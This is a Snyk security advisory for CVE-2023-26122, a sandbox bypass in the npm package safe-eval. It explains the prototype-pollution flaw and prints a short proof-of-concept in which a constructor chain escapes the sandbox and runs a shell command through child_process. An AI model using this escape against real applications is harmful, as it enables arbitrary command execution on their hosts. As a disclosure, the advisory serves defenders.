Sandbox Bypass Affecting safe-eval package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
2.38% (90th percentile)

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  • Snyk IDSNYK-JS-SAFEEVAL-3373064
  • published10 Apr 2023
  • disclosed26 Mar 2023
  • creditseongil-wi

Introduced: 26 Mar 2023

CVE-2023-26122  (opens in a new tab)
CWE-265  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for safe-eval.

Overview

safe-eval is a Safer version of eval()

Affected versions of this package are vulnerable to Sandbox Bypass due to improper input sanitization. The vulnerability is derived from prototype pollution exploitation. Exploiting this vulnerability might result in remote code execution ("RCE").

Vulnerable functions:

__defineGetter__, stack(), toLocaleString(), propertyIsEnumerable.call(), valueOf().

PoC


const safe_eval = require('safe-eval')
code = `
import('test').catch((e)=>{})['constructor']['constructor']('return process')().mainModule.require('child_process').execSync('touch rce')
`
safe_eval(code)

CVSS Scores

version 3.1